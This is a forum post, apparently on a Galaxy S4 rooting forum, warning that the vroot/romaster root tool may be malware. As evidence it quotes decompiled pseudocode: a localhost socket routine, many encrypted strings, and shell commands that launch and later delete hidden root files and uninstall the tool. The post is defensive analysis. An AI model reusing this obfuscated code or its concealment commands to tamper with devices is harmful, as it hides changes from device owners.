[Verizon Samsung Galaxy S 4] PWM978:
For the record, I disagree completely with your assertion this is safe. I have decompiled the code and am reviewing it. Until the contents of rootres.dll get decoded and analyzed, I can say with absolute certainty you have no idea what this is doing. There are traits within this code which are indicative of malware (encryption/encoding and obfuscation). There are also sockets in use with global variables (hard coded address). Why hide the exploit inside the code? Why would we need sockets out?

Please remember - the type of analysis talked about here (netstat, tcpdump, etc) does not cover all the potential branches and possibilities of what the code *COULD* execute. Only what it has done under some conditions and state.

Questions to answer:

Decode the exploit, and see what they are executing on the devices

Does this socket listen(), and if so when? (clearly it isn't always)

What data CAN this exfiltrate

What modifications does it make to the OS on device

My recommendation would err on the side of caution and discourage people from using this. Again, until this has been reversed completely you could very well be opening up a channel back to China. Good luck with that.

Please see below for some of my concerns:

char __thiscall sub_10004DDF(int this, u_short hostshort)

{

SOCKET v2; // edi@1

int v3; // esi@1

unsigned __int16 v5; // cx@4

u_long argp; // [sp+Ch] [bp-20h]@2

char optval[4]; // [sp+10h] [bp-1Ch]@4

struct sockaddr name; // [sp+14h] [bp-18h]@1

unsigned int v9; // [sp+24h] [bp-8h]@1

int v10; // [sp+2Ch] [bp+0h]@1

v9 = (unsigned int)&v10 ^ dword_10037450;

v3 = this;

sub_10004FBC(this);

*(_DWORD *)&name.sa_data[4] = 0;

*(_DWORD *)&name.sa_data[8] = 0;

*(_WORD *)&name.sa_data[12] = 0;

name.sa_family = 2;

*(_WORD *)&name.sa_data[0] = htons(hostshort);

*(_DWORD *)&name.sa_data[2] = htonl(0x7F000001u);

v2 = socket(2, 1, 0);

if ( v2 != -1 )

{

argp = 0;

if ( ioctlsocket(v2, -2147195266, &argp) != -1 && connect(v2, &name, 16) != -1 )

{

v5 = *(_WORD *)(v3 + 40);

*(_DWORD *)(v3 + 4) = v2;

sub_10004EAB(v3, v5);

*(_DWORD *)optval = 10000;

setsockopt(v2, 65535, 4101, optval, 4);

return 1;

}

closesocket(v2);

}

return 0;

}

Some snippets of interest:

sub_10009CCC(&Src, L"vroot_%d", v14);

sub_10008EA4((int)&Src, (int)&lpWideCharStr, L".apk");;

std__basic_string_char_std__char_traits_char__std__allocator_char____basic_string_char_std__char_traits_char__std__allocator_char__("PXQ6YypsOXoxYip/PnM2InUDGP9xYRy/xo3Wstz7abi4gg==");

LODWORD(v140) = "74Dtw6LMqNq13LiW/ZjhguqL4ozLafy94vWfLpXzKsUZHvxJ/qDc";

HIDWORD(v140) = "6IfqxKXLr92y27+R4ZP8iuOH4pDjzb7br9uy3LvIngpHCw6rACGdbUlhdSLaParx2Q==";

v141 = (int)"lPuWuNm306HOp8PtnvuP+5L8m+iOLKlAnHm0DsEd1qR8whcFhMvN";

std__basic_string_char_std__char_traits_char__std__allocator_char____basic_string_char_std__char_traits_char__std__allocator_char__("Xi1UJ1M2W3QVZRU6aQx4DGULbB8xUCBLK3I8IPMy2Dq2L9aDo0eYkGkqwQ==");

std__basic_string_char_std__char_traits_char__std__allocator_char____basic_string_char_std__char_traits_char__std__allocator_char__("74Hll/iR9bjZt9643a7a9IzhjXsYO2XWjSLhGTvqByZWyA4Iszk=");

std__basic_string_char_std__char_traits_char__std__allocator_char____basic_string_char_std__char_traits_char__std__allocator_char__("PVwyViRLIkZpBnVaF3IBchN0EUA1UCVAeyLrm84i0A//mHb9eJ3uUtzY+qA=");

std__basic_string_char_std__char_traits_char__std__allocator_char____basic_string_char_std__char_traits_char__std__allocator_char__("xqPbr4UT1EEbAqsj7YDOf/iTkYgebPA=");

std__basic_string_char_std__char_traits_char__std__allocator_char____basic_string_char_std__char_traits_char__std__allocator_char__("gKnlhOqO/JP6nrHerYLPqtmqy6zJ8uONv42Gt3mfadnxP6xm+jV0fIo=");

sub_10002EE5(

v152,

"am start --activity-clear-top -a android.intent.action.MAIN -n com.mgyun.vroot.tools_13091815/android.app.Activity",

0);

std__basic_string_char_std__char_traits_char__std__allocator_char____basic_string_char_std__char_traits_char__std__allocator_char__("wKrLvdzzn/6Q99iK/5HljOGEv2uZ/T498tfVLU0VRGJm0i2tIA8=");

std__basic_string_char_std__char_traits_char__std__allocator_char____basic_string_char_std__char_traits_char__std__allocator_char__("kPWB06bIvNW43RgJXPz77PtdPuXpZDnjsY/z26o=");

std__basic_string_char_std__char_traits_char__std__allocator_char____basic_string_char_std__char_traits_char__std__allocator_char__("weikzq/ZuJf7mvSTvO6b9YHoheDbsi98NorKpwM+DV2wYr59bkXGAQ==");

std__basic_string_char_std__char_traits_char__std__allocator_char____basic_string_char_std__char_traits_char__std__allocator_char__("6ZH0lzy7Y2yaZma5/NtPY5jfkt5p8Bs=");

std__basic_string_char_std__char_traits_char__std__allocator_char____basic_string_char_std__char_traits_char__std__allocator_char__("hsqgwbfW+ZX0mv3SgfWH7oDn3PW507LEpYrmh+mOofGD7I/qmerRye/3pfZ/nXMnDC/4+3lMpoJzcw==");

std__basic_string_char_std__char_traits_char__std__allocator_char____basic_string_char_std__char_traits_char__std__allocator_char__("h+OC9pe41LvYudX6juOTvJLgj+KD8IThk8y+0b7KbXm81lhew0h73kH8XPwTmfRsGg==");

std__basic_string_char_std__char_traits_char__std__allocator_char____basic_string_char_std__char_traits_char__std__allocator_char__("KEsjTGxLQSRHL0BgQH5ecQJ7CCdMKVs1UDwTZgN1EH4KVT1YNEQhU1l+XmBeflE1VCBBbgJtDm8DLFg1RWpENlk0VSZSN0UaaAdoHDJBKRIyUTlUO19/SH1IaEcjQjZXeBR7GHkVOk4jU3xSIE8iQzBEIVMMfhF+CiRXPwQ2zJuU1BB1MbQXAqMrV7fXjqSo");

std__basic_string_char_std__char_traits_char__std__allocator_char____basic_string_char_std__char_traits_char__std__allocator_char__("gaCP/IX2gueKpceuwO+c9P5PmFSIIJygRrjC401T2PG4DcdI");

std__basic_string_char_std__char_traits_char__std__allocator_char____basic_string_char_std__char_traits_char__std__allocator_char__("geWE8JG+0r3ev9P8iOWVutit3qfFqtLygO3N4JL01Puf/orrxLTGqdm8zrrDnN6f1OXX5O7msJzpAQvklnd9oCiWGEAAppO3");

std__basic_string_char_std__char_traits_char__std__allocator_char____basic_string_char_std__char_traits_char__std__allocator_char__("iu6P+5q12bbVtNj3g+6esdOm1azOodn5lOLC7YnonP3SotC/z6rYrNX12r7fq8rlleeI+J3vm+K9/771xPbFz9ZsrATmQOOdYLHU2OsVSo/Kr+c=");

std__basic_string_char_std__char_traits_char__std__allocator_char____basic_string_char_std__char_traits_char__std__allocator_char__("Si5PO1p1GXYVdBg3Qy5ecRNmFWwOYRk5VD9bMkBgTytKPl9wAHIdbQh6Dnd9zEGlAmvHqGU4xr23/DSOXohIQg==");

std__basic_string_char_std__char_traits_char__std__allocator_char____basic_string_char_std__char_traits_char__std__allocator_char__("XjpbL05hDWIBYAwjVzpKZQdyAXgadQ0tQS8PIlFxXi1UJwhjBnQafxM8SSxaP1ElehJ3G2sOfFxzF3YCY0w8TiFRNEYyS2RKPls2Rkz5TUA0ymwKqRaWUq4ZVSAYS1qT");

std__basic_string_char_std__char_traits_char__std__allocator_char____basic_string_char_std__char_traits_char__std__allocator_char__("hOGV5Zf4iKjYvc+81abS/I/2havTutStxOqH4Jnsgqzesd6qiqXBoNS1mvaZ+pv32KzBsZ6wwq3AodKmw7HunPOc6Ma13dfj9qHt5sNA7ygyVo9AW0Kv+itT");

std__basic_string_char_std__char_traits_char__std__allocator_char____basic_string_char_std__char_traits_char__std__allocator_char__("XjpbL05hDWIBYAwjVzpKZQdyAXgadQ0tQS8PIlFxXi1UJwhqH2xDK0ImCXwZbwpkEDAfexpuDyBQIk09WCpeJwgmUjdaKiDTRCydxhhqHWqL7gDYDOkAuurS");

std__basic_string_char_std__char_traits_char__std__allocator_char____basic_string_char_std__char_traits_char__std__allocator_char__("jeic7J7xgaHRtMa13K/b9Yb/jKLas92kzeOO6ZDli6XWo4PihuLoyyZKk2Cm0ratHlNP2pdiP1VitQ==");

std__basic_string_char_std__char_traits_char__std__allocator_char____basic_string_char_std__char_traits_char__std__allocator_char__("dxNyBmdIJEsoSSUKfhNjTC5bKFEzXCQEdhs7FmQCIg1pCHwdMkIwXy9KOEw1P2P1Rz8/n1ujTHudLiryezgrKYA=");

std__basic_string_char_std__char_traits_char__std__allocator_char____basic_string_char_std__char_traits_char__std__allocator_char__("XjpbL05hDWIBYAwjVzpKZQdyAXgadQ0tQDYWOV08SCkGdgRrG34MeAFeHF0WJxUmBilNLFg5FmYUewtuHGgRG/yrEMLK48bydqrIEov/K+AAqig=");

std__basic_string_char_std__char_traits_char__std__allocator_char____basic_string_char_std__char_traits_char__std__allocator_char__("h+OC9pe41LvYudX6juOTvJLgj+KD8IThk8y+0b7KbXm81lhew0h73kH8XPwTmfRsGg==");

std__basic_string_char_std__char_traits_char__std__allocator_char____basic_string_char_std__char_traits_char__std__allocator_char__("EnoXeBw8Cz4LKwRgAXUUO1c4WzpWeQ1gED8RYwxhAHMHYhBPPVI9STWowMJyw4lSWfyF6cPnNqBwqlg=");

[... SNIP...]

DeleteFileW(lpWideCharStr);

sub_1000651D((void *)Src);

sub_10002EE5(

v17,

"rm /data/local/tmp/.romaster_root; rm /data/local/tmp/.romaster_root.sh; pm uninstall com.mgyun.vroot.tools_13091815",

0);

if ( v142 )

{

if ( v139 )

*(_DWORD *)v139 = 34;

}

sub_10009FD9((int)(lpWideCharStr - 8));

sub_10009FD9(Src - 16);

LOBYTE(v218) = 1;

sub_10008F23((int)&v143);

v218 = -1;

sub_10008F23((int)&v152);

return sub_10019208();

}

int __cdecl sub_4277E0(int a1)

{

int v1; // esi@1

int result; // eax@2

int v3; // eax@3

int v4; // eax@11

int (__cdecl *v5)(_DWORD); // eax@13

int v6; // ecx@13

v1 = sub_423F50(68, (int)".\\crypto\\dsa\\dsa_lib.c", 130);

if ( !v1 )

{

sub_422AE0(0xAu, 103, 65, (int)".\\crypto\\dsa\\dsa_lib.c", 133);

return 0;

}

v3 = dword_4A3678;

if ( !dword_4A3678 )

{

v3 = (int)sub_433CD0();

dword_4A3678 = v3;

}

*(_DWORD *)(v1 + 60) = v3;

if ( a1 )

{

if ( !sub_426F30(a1) )

{

sub_422AE0(0xAu, 103, 38, (int)".\\crypto\\dsa\\dsa_lib.c", 142);

sub_4240F0((void *)v1);

return 0;

}

*(_DWORD *)(v1 + 64) = a1;

}

else

[... SNIP... ]